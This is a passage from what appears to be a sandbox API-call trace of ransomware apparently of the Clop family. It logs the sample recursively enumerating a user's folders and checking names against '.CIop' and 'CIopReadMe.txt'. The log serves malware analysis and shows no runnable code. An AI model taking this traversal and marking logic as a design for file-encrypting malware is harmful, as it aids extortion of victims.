returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0148.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" [0148.763] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\" [0148.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*" [0148.763] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.763] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="Start Menu" [0148.763] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0148.763] lstrlenW (lpString=".CIop") returned 5 [0148.763] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.763] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.763] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.763] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu" [0148.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*" [0148.763] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Start Menu\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.763] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Start Menu") returned="Start Menu" [0148.763] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0148.763] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0148.763] SetErrorMode (uMode=0x1) returned 0x1 [0148.763] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0148.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" [0148.763] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\" [0148.763] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*" [0148.763] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.763] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="Templates" [0148.763] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0148.763] lstrlenW (lpString=".CIop") returned 5 [0148.763] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0148.763] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.763] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.764] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates" [0148.764] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*" [0148.764] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Templates\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.764] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Templates") returned="Templates" [0148.764] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0148.764] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0148.764] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0148.764] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0148.764] SetErrorMode (uMode=0x1) returned 0x1 [0148.764] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0148.764] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0148.764] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0148.764] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*" [0148.764] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.764] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="Videos" [0148.764] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0148.764] lstrlenW (lpString=".CIop") returned 5 [0148.764] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.764] lstrlenW (lpString="desktop.ini") returned 11 [0148.764] lstrlenW (lpString=".CIop") returned 5 [0148.764] lstrlenW (lpString=".CIop") returned 5 [0148.764] lstrlenW (lpString=".CIop") returned 5 [0148.764] lstrlenW (lpString=".CIop") returned 5 [0148.764] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0148.764] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*" [0148.764] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.764] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="Videos" [0148.765] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0148.765] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0148.765] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0148.765] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0148.765] SetErrorMode (uMode=0x1) returned 0x1 [0148.765] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0148.765] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0148.765] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0148.765] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*" [0148.765] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67de38 [0148.765] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="wNN lOPK" [0148.765] lstrcpyW (in: lpString1=0x2dc7014, lpString2="wNN lOPK" | out: lpString1="wNN lOPK") returned="wNN lOPK" [0148.765] lstrlenW (lpString=".CIop") returned 5 [0148.765] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.765] lstrlenW (lpString=".CIop") returned 5 [0148.765] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0148.765] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*" [0148.765] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67def8 [0148.765] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="wNN lOPK" [0148.765] lstrcpyW (in: lpString1=0x2dc7014, lpString2="wNN lOPK" | out: lpString1="wNN lOPK") returned="wNN lOPK" [0148.765] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0148.765] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0148.765] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\", lpString2="ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0148.765] SetErrorMode (uMode=0x1) returned 0x1 [0148.765] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0148.765] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0148.766] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0148.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*" [0148.766] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dd78 [0148.766] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="ugEH" [0148.766] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="ugEH" | out: lpString1="ugEH") returned="ugEH" [0148.766] lstrlenW (lpString=".CIop") returned 5 [0148.766] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.766] lstrlenW (lpString=".CIop") returned 5 [0148.766] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0148.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*" [0148.766] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dfb8 [0148.766] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="ugEH" [0148.766] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="ugEH" | out: lpString1="ugEH") returned="ugEH" [0148.766] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0148.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0148.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\", lpString2="VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0148.766] SetErrorMode (uMode=0x1) returned 0x1 [0148.766] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0148.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0148.766] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0148.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*" [0148.766] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0148.766] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="VAlp" [0148.766] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="VAlp" | out: lpString1="VAlp") returned="VAlp" [0148.766] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.767] lstrlenW (lpString=".CIop") returned 5 [0148.767] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0148.767] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*" [0148.767] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0148.767] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="VAlp" [0148.767] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="VAlp" | out: lpString1="VAlp") returned="VAlp" [0148.767] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0148.767] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0148.767] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0148.767] FindNextFileW (in: hFindFile=0x67def8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.767] FindClose (in: hFindFile=0x67def8 | out: hFindFile=0x67def8) returned 1 [0148.767] FindClose (in: hFindFile=0x67def8 | out: hFindFile=0x67def8) returned 0 [0148.767] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.767] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0148.767] lstrcmpW (lpString1="XtvCrj2M0wzyx7ebEjj", lpString2="..") returned 1 [0148.767] lstrcmpW (lpString1="XtvCrj2M0wzyx7ebEjj", lpString2=".") returned 1 [0148.768] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0148.768] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0148.768] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0148.768] SetErrorMode (uMode=0x1) returned 0x1 [0148.768] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0148.768] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0148.768] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0148.768] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*" [0148.768] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67ddf8 [0148.768] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0148.768] lstrcpyW (in: lpString1=0x2dc7014, lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0148.768] lstrlenW (lpString=".CIop") returned 5 [0148.768] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.768] lstrlenW (lpString=".CIop") returned 5 [0148.768] lstrlenW (lpString=".CIop") returned 5 [0148.768] lstrlenW (lpString=".CIop") returned 5 [0148.768] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0148.768] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*" [0148.768] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e2b8 [0148.768] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0148.768] lstrcpyW (in: lpString1=0x2dc7014, lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0148.768] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0148.768] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0148.768] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0148.768] SetErrorMode (uMode=0x1) returned 0x1 [0148.768] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") 